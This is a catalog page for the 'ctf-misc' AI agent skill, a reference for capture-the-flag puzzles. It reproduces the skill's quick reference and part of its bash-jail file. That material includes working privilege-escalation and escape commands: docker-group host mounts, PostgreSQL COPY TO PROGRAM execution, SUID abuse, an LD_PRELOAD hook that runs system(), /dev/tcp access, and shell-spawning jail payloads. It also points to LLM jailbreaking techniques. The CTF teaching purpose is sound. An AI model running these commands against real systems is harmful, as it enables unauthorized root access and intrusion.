
Ctf Misc
- 6k installs
- 2.9k repo stars
- Updated July 31, 2026
- ljagiello/ctf-skills
ctf-misc is an agent skill for Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unico
About
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, f --- name: ctf-misc description: Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto. Treat this as the fallback skill for genuine cross-category or edge-case challenges, not the default starting point.
- SageMath - Linux: `apt install sagemath`, macOS: `brew install --cask sage`
- [bashjails.md](bashjails.md) - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose m
- [rf-sdr.md](rf-sdr.md) - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)
- [dns.md](dns.md) - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)
- If the puzzle is actually centered on cryptography or number theory, switch to `/ctf-crypto`.
Ctf Misc by the numbers
- 6,004 all-time installs (skills.sh)
- +160 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #112 of 1,039 Cloud & Infrastructure skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
ctf-misc capabilities & compatibility
- Capabilities
- sagemath — linux: `apt install sagemath`, macos: · [bashjails.md](bashjails.md) bash jail/restric · [rf sdr.md](rf sdr.md) rf/sdr/iq signal proces · [dns.md](dns.md) dns exploitation (ecs spoofin · if the puzzle is actually centered on cryptograp
- Use cases
- documentation
What ctf-misc says it does
--- name: ctf-misc description: Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories.
Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto.
Treat this as the fallback skill for genuine cross-category or edge-case challenges, not the default starting point.
npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-miscAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 6k |
|---|---|
| repo stars | ★ 2.9k |
| Security audit | 1 / 3 scanners passed |
| Last updated | July 31, 2026 |
| Repository | ljagiello/ctf-skills ↗ |
When should developers use ctf-misc and what problem does it solve?
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric
Who is it for?
Developers working with ctf-misc patterns described in the skill documentation.
Skip if: Skip when cached docs are empty or the task is outside the skill's documented scope.
When should I use this skill?
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric
What you get
Grounded guidance and workflows from SKILL.md for ctf-misc.
- Jail escape command sequence
- Unrestricted shell access
- Post-shell recon steps
By the numbers
- Covers character-restricted bash allowing only #, $, and \ characters
- Includes post-shell internal service discovery and privilege escalation checklist sections
Files
CTF Miscellaneous
Quick reference for miscellaneous CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Prerequisites
Python packages (all platforms):
pip install z3-solver pwntools Pillow numpy requests dnslibLinux (apt):
apt install ffmpeg qrencodemacOS (Homebrew):
brew install ffmpeg qrencodeManual install:
- SageMath — Linux:
apt install sagemath, macOS:brew install --cask sage
Additional Resources
- pyjails.md - Python jail/sandbox escape techniques, quine context detection, restricted character repunit decomposition, func_globals module chain traversal, restricted charset number generation, class attribute persistence, f-string config injection via stored eval
- bashjails.md - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls
- encodings.md - Encodings, QR codes, esolangs, UTF-16 tricks, BCD encoding, multi-layer auto-decoding, indexed directory QR reassembly, multi-stage URL encoding chains
- encodings-advanced.md - Verilog/HDL, Gray code cyclic encoding, RTF custom tag extraction, SMS PDU decoding, multi-encoding sequential solvers, UTF-9, pixel binary encoding, hexadecimal Sudoku + QR assembly, TOPKEK, MaxiCode
- rf-sdr.md - RF/SDR/IQ signal processing (QAM-16, carrier recovery, timing sync)
- dns.md - DNS exploitation (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling)
- games-and-vms.md - WASM patching, Roblox place file reversing, PyInstaller, marshal analysis, Python env RCE, Z3 (including boolean logic gate network SAT solving), K8s RBAC, floating-point precision exploitation, custom assembly language sandbox escape via Python MRO chain
- games-and-vms-2.md - Cookie checkpoint game brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequence, Brainfuck instrumentation, WASM linear memory manipulation
- games-and-vms-3.md - memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, BuildKit daemon build secret exploitation, Docker container escape, Levenshtein distance oracle attack, taint analysis bypass via type coercion, shredded document pixel-edge reassembly
- games-and-vms-4.md - Part 4 (2018-era): XSLT as Turing-complete VM, JavaScript MAX_SAFE_INTEGER successor equality, binary search oracle in comparison-only DSL, blind SQLi via script-engine timeout error, OEIS sequence lookup automation, QR code reassembly from format-string constraints, matrix exponentiation for Fibonacci recurrence, Tribonacci for frog-jump counting, Selenium + Tesseract dynamic CAPTCHA, Brainfuck→Piet multi-layer polyglot, bytebeat synth code recognition
- linux-privesc.md - Sudo wildcard parameter injection (fnmatch), crafted pcap for sudoers.d, monit confcheck process injection, Apache -d override, backup cronjob SUID, PostgreSQL COPY TO PROGRAM RCE, PostgreSQL backup credential extraction, NFS share exploitation, SSH Unix socket tunneling, PaperCut Print Deploy privesc, Squid proxy pivoting, Zabbix admin password reset via MySQL, WinSSHTerm credential decryption
- ctfd-navigation.md - CTFd platform API navigation without browser: detection, token auth, challenge listing, file download, flag submission, scoreboard, hints, notifications, Python client class
---
When to Pivot
- If the puzzle is actually centered on cryptography or number theory, switch to
/ctf-crypto. - If the challenge is a real binary exploit instead of a jail, toy VM, or encoding problem, switch to
/ctf-pwnor/ctf-reverse. - If the input is mostly files, images, audio, or packet captures that need recovery work first, switch to
/ctf-forensics. - For ML/AI techniques (model attacks, adversarial examples, LLM jailbreaking), see
/ctf-ai-ml.
Quick Start Commands
# File identification
file mystery_file
xxd mystery_file | head -5
python3 -c "import magic; print(magic.from_file('mystery_file'))"
# Encoding detection
python3 -c "import base64; print(base64.b64decode('<data>'))"
echo '<data>' | base64 -d
echo '<hex>' | xxd -r -p
# QR code
zbarimg qr.png
python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))"
# Z3 constraint solving
python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())"
# Python jail test
python3 -c "__import__('os').system('id')"General Tips
- Read all provided files carefully
- Check file metadata, hidden content, encoding
- Power Automate scripts may hide API calls
- Use binary search when guessing multiple answers
Common Encodings
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# Hex
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'Identify by charset:
- Base64:
A-Za-z0-9+/= - Base32:
A-Z2-7=(no lowercase) - Hex:
0-9a-fA-F
See encodings.md for Caesar brute force, URL encoding, and full details.
IEEE-754 Float Encoding (Data Hiding)
Pattern (Floating): Numbers are float32 values hiding raw bytes.
Key insight: A 32-bit float is just 4 bytes interpreted as a number. Reinterpret as raw bytes -> ASCII.
import struct
floats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())Variations: Double '>d', little-endian '<f', mixed. See encodings.md for CyberChef recipe.
USB Mouse PCAP Reconstruction
Pattern (Hunt and Peck): USB HID mouse traffic captures on-screen keyboard typing. Use USB-Mouse-Pcap-Visualizer, extract click coordinates (falling edges), cumsum relative deltas for absolute positions, overlay on OSK image.
File Type Detection
file unknown_file
xxd unknown_file | head
binwalk unknown_fileArchive Extraction
7z x archive.7z # Universal
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZNested Archive Script
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
doneQR Codes
zbarimg qrcode.png # Decode
qrencode -o out.png "data"MaxiCode barcode: Hexagonal 2D barcode with bullseye center; decode with zxing (Java) since standard QR decoders fail. See encodings-advanced.md.
TOPKEK encoding: CTF-specific binary encoding where KEK=0, TOP=1, ! suffix = repeat count. See encodings-advanced.md.
See encodings.md for QR structure, repair techniques, chunk reassembly (structural and indexed-directory variants), and multi-stage URL encoding chains.
Audio Challenges
sox audio.wav -n spectrogram # Visual data
qsstv # SSTV decoderRF / SDR / IQ Signal Processing
See rf-sdr.md for full details (IQ formats, QAM-16 demod, carrier/timing recovery).
Quick reference:
- cf32:
np.fromfile(path, dtype=np.complex64)| cs16: int16 reshape(-1,2) | cu8: RTL-SDR raw - Circles in constellation = constant frequency offset; Spirals = drifting frequency + gain instability
- 4-fold ambiguity in DD carrier recovery - try 0/90/180/270 rotation
pwntools Interaction
from pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()Python Jail Quick Reference
- Oracle pattern:
L()= length,Q(i,x)= compare,S(guess)= submit. Linear or binary search. - Walrus bypass:
(abcdef := "new_chars")reassigns constraint vars - Decorator bypass:
@__import__+@func.__class__.__dict__[__name__.__name__].__get__for no-call, no-quotes escape - String join:
open(''.join(['fl','ag.txt'])).read()when+is blocked
See pyjails.md for full techniques.
Z3 / Constraint Solving
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract modelSee games-and-vms.md for YARA rules, type systems as constraints, boolean logic gate network SAT solving.
Hash Identification
MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995
SHA-256 Length Extension Attack
MAC = SHA-256(SECRET || msg) with known msg/hash -> forge valid MAC via hlextend. Vulnerable: SHA-256, MD5, SHA-1. NOT: HMAC, SHA-3.
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)Technique Quick References
- PyInstaller:
pyinstxtractor.py packed.exe. See games-and-vms.md for opcode remapping. - Marshal:
marshal.load(f)thendis.dis(code). See games-and-vms.md. - Python env RCE:
PYTHONWARNINGS=ignore::antigravity.Foo::0+BROWSER="cmd". See games-and-vms.md. - WASM patching:
wasm2wat-> flip minimax ->wat2wasm. See games-and-vms.md. - Float precision: Large multipliers amplify FP errors into exploitable fractions. See games-and-vms.md.
- K8s RBAC bypass: SA token -> impersonate -> hostPath mount -> read secrets. See games-and-vms.md.
- Cookie checkpoint: Save session cookies before guesses, restore on failure to brute-force without reset. See games-and-vms-2.md.
- Flask cookie game state:
flask-unsign -d -c '<cookie>'decodes unsigned Flask sessions, leaking game answers. See games-and-vms-2.md. - WebSocket teleport: Modify
player.x/player.yin console, call verification function. See games-and-vms-2.md. - Time-only validation: Start session,
time.sleep(required_seconds), submit win. See games-and-vms-2.md. - Quine context detection: Dual-purpose quine that prints itself (passes validation) and runs payload only in server process via globals gate. See pyjails.md.
- Repunit decomposition: Decompose target integer into sum of repunits (1, 11, 111, ...) using only 2 characters (
1and+) for restricted eval. See pyjails.md. - De Bruijn sequence: B(k, n) contains all k^n possible n-length strings as substrings; linearize by appending first n-1 chars. See games-and-vms-2.md.
- Brainfuck instrumentation: Instrument BF interpreter to track tape cells, brute-force flag character-by-character via validation cell. See games-and-vms-2.md.
- WASM memory manipulation: Patch WASM linear memory at runtime to set game state variables directly, bypassing game logic. See games-and-vms-2.md.
- Lua sandbox escape: Bypass
load()/os.execute()filters viaos["execute"]table indexing orloadstringalias. See games-and-vms.md. - C code jail via emoji + gadget embedding: When only emoji and punctuation are allowed in C, use
(😃==😃)as constant 1, build integers, embed gadgets inadd eax, imm32constants, jump to offset+1 for shellcode primitives. See games-and-vms-3.md. - Emulator ROM-switching:
/loadreplaces ROM but preserves CPU state (registers, RAM, PC). Switch ROMs at specific PCs to combine INIT from one ROM with display instructions from another → read protected memory. See games-and-vms-3.md. - BuildKit daemon exploitation: Exposed BuildKit gRPC allows nested
buildctl buildwith--mount=type=secretto read build secrets. Two-stage Dockerfile: install buildctl → submit nested build mounting flag secret. See games-and-vms-3.md. - Docker container escape: Privileged breakout via host device mount, docker.sock socket escape, CAP_SYS_ADMIN cgroup release_agent, container info leakage via /proc and overlayfs. See games-and-vms-3.md.
- Taint analysis bypass via type coercion: In custom ML-like languages with secrecy/taint systems, if-expression secrecy depends on return type not condition — coerce side-effecting functions to private type to leak private data through public mutable refs. See games-and-vms-3.md.
- Shredded document pixel-edge reassembly: Encode each strip's left/right edge as binary bitmask (dark=1), use XOR + popcount Hamming distance to greedily place strips by minimum edge distance for sub-second reassembly. See games-and-vms-3.md.
- f-string config injection via stored eval: Store payload as config value, create key named
eval(stored_key)— f-string rendering evaluates the key name expression, triggering RCE. See pyjails.md. - Hexadecimal Sudoku + QR assembly: 4 QR codes encode 16x16 hex Sudoku quadrants; solve grid, read diagonal as hex pairs → ASCII flag. See encodings-advanced.md.
- Z3 boolean gate network SAT solving: Product key validation as 250 boolean gates (AND/OR/XOR/NOT) over 125 input bits. Model each gate as Z3 constraint, require all outputs True, solve in milliseconds. See games-and-vms.md.
3D Printer Video Nozzle Tracking (LACTF 2026)
Pattern (flag-irl): Video of 3D printer fabricating nameplate. Flag is the printed text.
Technique: Track nozzle X/Y positions from video frames, filter for print moves (top/text layer only), plot 2D histogram to reveal letter shapes:
# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appearDiscord API Enumeration (0xFun 2026)
Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke /ctf-osint for Discord API enumeration technique and code (see social-media.md in ctf-osint).
---
SUID Binary Exploitation (0xFun 2026)
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'Reference: https://gtfobins.github.io/
---
Linux Privilege Escalation Quick Checks
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
# Sudo permissions
sudo -l
# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/shDocker Group Privilege Escalation (H7CTF 2025)
User in the docker group can mount the host filesystem into a container and chroot into it for root access.
# Check group membership
id # Look for "docker" in groups
# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Now running as root on the host filesystem
cat /root/flag.txtKey insight: Docker group membership is equivalent to root access. The docker CLI socket (/var/run/docker.sock) allows creating privileged containers that mount the entire host filesystem.
Reference: https://gtfobins.github.io/gtfobins/docker/
Sudo Wildcard Parameter Injection (Dump HTB)
Sudo's fnmatch() matches * across argument boundaries. Inject extra flags (-Z root, -r, second -w) into locked-down commands. Craft pcap with embedded valid sudoers entries — sudo's parser recovers from binary junk, unlike cron's strict parser. See linux-privesc.md.
Monit Process Command-Line Injection (Zero HTB)
Root monit script uses pgrep -lfa to extract process command lines, then executes a modified version. Create fake process via perl -e '$0 = "..."' with injected flags. Apache -d last-wins overrides ServerRoot; -E captures error output. Include /root/flag causes a parse error that reveals the file content. See linux-privesc.md.
PostgreSQL RCE and File Read (Slonik HTB)
COPY (SELECT '') TO PROGRAM 'cmd' executes OS commands as postgres. pg_read_file('/path') reads files. Extract credentials from pg_basebackup archives (global/1260 = pg_authid). SSH tunnel to Unix sockets: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432. See linux-privesc.md.
Backup Cronjob SUID Abuse (Slonik HTB)
Root cronjob copying directories preserves SUID bit but changes ownership to root. Place SUID bash in source directory → backup copies it as root-owned SUID. Execute with bash -p. See linux-privesc.md.
PaperCut Print Deploy Privesc (Bamboo HTB)
Root process runs scripts from user-owned directory. Modify server-command, trigger via Mobility Print API refresh. See linux-privesc.md.
---
CTFd Platform Navigation (No Browser)
Detect CTFd (curl -s "$CTF_URL/api/v1/" | head -5) and interact via API. Ask the user for their API token (CTFd Settings > Access Tokens) — it is not provided by default. Then use Authorization: Token $CTF_TOKEN header for all requests.
export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"'
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"See ctfd-navigation.md for full workflow, Python client class, session login, hints, notifications, file download, and troubleshooting.
---
Useful One-Liners
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"Keyboard Shift Cipher
Pattern (Frenzy): Characters shifted left/right on QWERTY keyboard layout.
Identification: dCode Cipher Identifier suggests "Keyboard Shift Cipher"
Decoding: Use dCode Keyboard Shift Cipher with automatic mode.
Pigpen / Masonic Cipher
Pattern (Working For Peanuts): Geometric symbols representing letters based on grid positions.
Identification: Angular/geometric symbols, challenge references "Peanuts" comic (Charlie Brown), "dusty looking crypto"
Decoding: Map symbols to Pigpen grid positions, or use online decoder.
ASCII in Numeric Data Columns
Pattern (Cooked Books): CSV/spreadsheet numeric values (48-126) are ASCII character codes.
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)CyberChef: "From Decimal" recipe with line feed delimiter.
Backdoor Detection in Source Code
Pattern (Rear Hatch): Hidden command prefix triggers system() call.
Common patterns:
strncmp(input, "exec:", 5)-> runssystem(input + 5)- Hex-encoded comparison strings:
\x65\x78\x65\x63\x3a= "exec:" - Hidden conditions in maintenance/admin functions
DNS Exploitation Techniques
See dns.md for full details (ECS spoofing, NSEC walking, IXFR, rebinding, tunneling).
Quick reference:
- ECS spoofing:
dig @server flag.example.com TXT +subnet=10.13.37.1/24- try leet-speak IPs (1337) - NSEC walking: Follow NSEC chain to enumerate DNSSEC zones
- IXFR:
dig @server domain IXFR=0when AXFR is blocked - DNS rebinding: Low-TTL alternating resolution to bypass same-origin
- DNS tunneling: Data exfiltrated via subdomain queries or TXT responses
Unicode Steganography
Variation Selectors Supplement (U+E0100-U+E01EF)
Patterns (Seen & emoji, Nullcon 2026): Invisible Variation Selector Supplement characters encode ASCII via codepoint offset.
# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:] # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)Detection: Characters appear invisible but have non-zero length. Check with [hex(ord(c)) for c in text] -- look for codepoints in 0xE0100-0xE01EF or 0xFE00-0xFE0F range.
Unicode Tags Block (U+E0000-U+E007F) (UTCTF 2026)
Pattern (Hidden in Plain Sight): Invisible Unicode Tag characters embedded in URLs, filenames, or text. Each tag codepoint maps directly to an ASCII character by subtracting 0xE0000. URL-encoded as 4-byte UTF-8 sequences (%F3%A0%81%...).
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)Key insight: Unicode Tags (U+E0001-U+E007F) mirror ASCII 1:1 — subtract 0xE0000 to recover the original character. They render as zero-width invisible glyphs in most fonts. Unlike Variation Selectors (U+E0100+), these have a simpler offset calculation and appear in URL fragments, challenge titles, or filenames where the text looks normal but has suspiciously long byte length.
Detection: Text or URL is longer than expected in bytes. Percent-encoded sequences starting with %F3%A0%80 or %F3%A0%81. Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text).
UTF-16 Endianness Reversal
Pattern (endians): Text "turned to Japanese" -- mojibake from UTF-16 endianness mismatch.
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')Identification: CJK characters, challenge mentions "translation" or "endian". See encodings.md for details.
Cipher Identification Workflow
1. ROT13 - Challenge mentions "ROT", text looks like garbled English 2. Base64 - A-Za-z0-9+/=, title hints "64" 3. Base32 - A-Z2-7= uppercase only 4. Atbash - Title hints (Abash/Atbash), preserves spaces, 1:1 substitution 5. Pigpen - Geometric symbols on grid 6. Keyboard Shift - Text looks like adjacent keys pressed 7. Substitution - Frequency analysis applicable
Auto-identify: dCode Cipher Identifier
HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
Read files without cat/less/head: HISTFILE=/flag /bin/bash && history, or bash -v flag.txt (verbose mode prints lines), or ctypes.sh dlcall for direct C library calls. See bashjails.md.
Levenshtein Distance Oracle Attack (SunshineCTF 2016)
Oracle returns edit distance between guess and secret. Determine length from empty string, identify present chars from single-char repeats, binary search for positions. O(n log n) queries. See games-and-vms-3.md.
SECCOMP High-Bit File Descriptor Bypass (33C3 CTF 2016)
close(0x8000000000000002) passes 64-bit SECCOMP check (≠ 2) but kernel truncates to 32-bit (== 2), closing fd 2. Next open() returns fd 2 for arbitrary file. Type-width mismatch between BPF filter and kernel. See games-and-vms-3.md.
rvim Jail Escape via Python3 (BKP 2017)
rvim blocks :! but :python3 import os; os.system("cmd") executes arbitrary commands. Check :version for +python3/+lua/+ruby. See games-and-vms-3.md.
CTF Misc - Bash Jails & Restricted Shells
Table of Contents
- Identifying the Jail
- Eval Context Detection
- Character-Restricted Bash: Only #, $, \
- Internal Service Discovery (Post-Shell)
- Other Restricted Character Set Tricks
- Building numbers from $# and ${##}
- Using PID digits
- Octal in ANSI-C quoting
- Dollar-zero variants
- Privilege Escalation Checklist (Post-Shell)
- HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
- Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)
- LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)
- /dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)
- Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)
- Closed-Stdout Jail with \r Truncation (Insomnihack 2019)
- References
---
Identifying the Jail
Methodology: Send test inputs and observe error messages to determine: 1. What characters are allowed (whitelist vs blacklist) 2. Whether input is eval'd, passed to bash -c, or something else 3. Whether input is wrapped in quotes (double-quoted eval context)
Test for character filtering:
from pwn import *
import time
# Send each char combined with a known-good payload
for c in range(32, 127):
r = remote(host, port, level='error')
r.sendline(b'$#' + bytes([c]) + b'$#')
time.sleep(0.3)
try:
data = r.recv(timeout=1)
if data:
print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
except:
pass
r.close()Silent rejection = character not allowed. Error output = character passed the filter.
Key insight: Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection means the character is filtered; any error output means it passed the filter and reached the shell.
---
Eval Context Detection
Double-quoted eval (eval "$input"):
- Trailing
\causes:unexpected EOF while looking for matching '"' $#expands to0(inside double-quotes,$still expands)\$gives literal$(backslash escapes dollar in double-quotes)\#gives\#literally (backslash doesn't escape#in double-quotes, but eval then interprets\#as literal#)
Bare eval (eval $input):
- Word splitting applies
- Backslash escapes work differently
Read behavior:
read -r: backslashes preserved literallyread(without -r): backslash is escape character (strips backslashes)
Key insight: Distinguish between eval "$input" (double-quoted) and eval $input (bare) by sending a trailing backslash. Double-quoted eval produces an "unexpected EOF" error because the backslash escapes the closing quote; bare eval does not. This determines which escape sequences are available for exploitation.
---
Character-Restricted Bash: Only #, $, \
Pattern (HashCashSlash): Filter regex ^[\\#\$]+$ allows only hash, dollar, backslash.
Available expansions:
| Construct | Result | Notes |
|---|---|---|
$# | 0 | Number of positional parameters |
$$ | PID | Current process ID (multi-digit number) |
\$ | literal $ | In double-quoted eval context |
\\ | literal \ | In double-quoted eval context |
\# | literal # | Via eval's second-pass interpretation |
Key payload: `\$$#`
In a double-quoted eval context like bash -c "\"${x}\"":
\$→ literal$(backslash escapes dollar in double-quotes)$#→0(parameter expansion)- Combined:
$0in the eval context $0= the shell name =bash- Result: spawns an interactive bash shell
Why it works: The script wraps input in double quotes for bash -c, so \$ becomes a literal $, then $# expands to 0, giving the string $0. When eval executes this, $0 expands to the shell invocation name (bash), spawning a new shell.
---
Internal Service Discovery (Post-Shell)
After escaping the jail, the flag may not be directly readable. Check for internal services:
# Find all running processes and their command lines
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
# Look specifically for flag-serving processes
for pid in /proc/[0-9]*/; do
cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
if echo "$cmd" | grep -qi flag; then
echo "PID $(basename $pid): $cmd"
cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):"
fi
doneCommon patterns:
socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag→ flag on localhost portreadflagbinary with SUID bit- Flag in environment of root process
Connect to internal services:
# Bash built-in TCP (no netcat needed)
cat < /dev/tcp/127.0.0.1/PORT
# Or with netcat if available
nc 127.0.0.1 PORTKey insight: After escaping the jail, check /proc/*/cmdline for internal services serving the flag on localhost. The flag is often on a different process, not readable from the filesystem directly.
---
Other Restricted Character Set Tricks
Building numbers from $# and ${##}
If { and } are allowed:
$#= 0${##}= 1 (length of$#'s string value "0")- Concatenate to build binary:
${##}$#${##}= "101"
Using PID digits
$$ gives a multi-digit number. If you can extract individual digits (requires {} and :):
${$$:0:1} # First digit of PID
${$$:1:1} # Second digit of PIDOctal in ANSI-C quoting
If ' is available: $'\101' = A, $'\142\141\163\150' = bash
Dollar-zero variants
| Shell | $0 value |
|---|---|
| bash script | script path |
| bash -c | bash |
| interactive | bash or -bash |
| sh | sh |
Key insight: Build arbitrary strings from minimal character sets by combining $# (yields 0), ${##} (yields 1), $$ (PID digits), and ANSI-C quoting ($'\NNN' for octal). Even a 3-character alphabet (#$\) is sufficient to spawn a shell via $0 expansion.
---
Privilege Escalation Checklist (Post-Shell)
1. SUID binaries: find / -perm -4000 2>/dev/null 2. Capabilities: find / -executable -type f -exec getcap {} \; 2>/dev/null 3. Internal services: Check /proc/*/cmdline for flag-serving daemons 4. Process UIDs: cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag" 5. Writable paths: Check if PATH contains writable dirs 6. Docker/container: /dev/tcp for internal service access, /.dockerenv presence
Key insight: After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via /proc/*/cmdline, then writable PATH directories. In containers, use /dev/tcp for internal service access since netcat is rarely available.
---
HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
Read arbitrary files in restricted bash shells without cat/less/head:
# Method 1: HISTFILE loading
HISTFILE=/path/to/flag /bin/bash
history # Flag contents loaded as command history
# Method 2: bash verbose mode
bash -v flag.txt # Prints each line before executing; comments (#flag{...}) print without error
# Method 3: ctypes.sh direct C library calls
dlcall -n fd open /flag 0
dlcall -n m mmap 0 100 1 1 $fd 0
dlcall printf %s $mKey insight: Three ways to read files without standard utilities: (1) HISTFILE loading, (2) bash -v verbose mode, (3) ctypes.sh direct C library calls via dlcall.
---
Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)
When a-z, *, ?, . are banned, use $'...' ANSI-C quoting with octal escapes:
# Encode /get_flag as octal
__=$'\057\147\145\164\137\146\154\141\147'
$__ # executes /get_flag
# Or encode any command character by character:
# /bin/sh = $'\057\142\151\156\057\163\150'Also: extract characters from existing environment variables:
# ${VARIABLE:START:LENGTH} extracts substrings
# Build command from $PATH, $HOME, $OSTYPE, $HOSTNAME:
/${OSTYPE:6:1}${HOSTNAME:2:1}${HOME:1:1}_${HOSTNAME:9:1}${PATH:5:1}...Key insight: Bash's $'...' syntax interprets \NNN as octal byte values, allowing arbitrary string construction without using any alphabetic characters. Combined with environment variable substring extraction (${VAR:offset:length}), this bypasses nearly any character blacklist. The __ variable name uses only underscores (often not blocked). When letters are banned but $, ', \, and digits are allowed, octal encoding in ANSI-C quotes is the primary escape vector.
---
LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)
Pattern: rbash blocks path arguments but still allows VAR=value command prefixes on invocations of permitted binaries. Upload a shared object encoding a libc hook, then export LD_PRELOAD=./hook.so before any command in the allowlist (cat, ls, id). The hook runs on every libc symbol call from the allowed binary.
// hook.c — hijacks open()
#include <stdlib.h>
__attribute__((constructor))
void init(void) { system("/bin/bash -p -c 'cat /flag'"); }gcc -shared -fPIC hook.c -o /tmp/hook.so
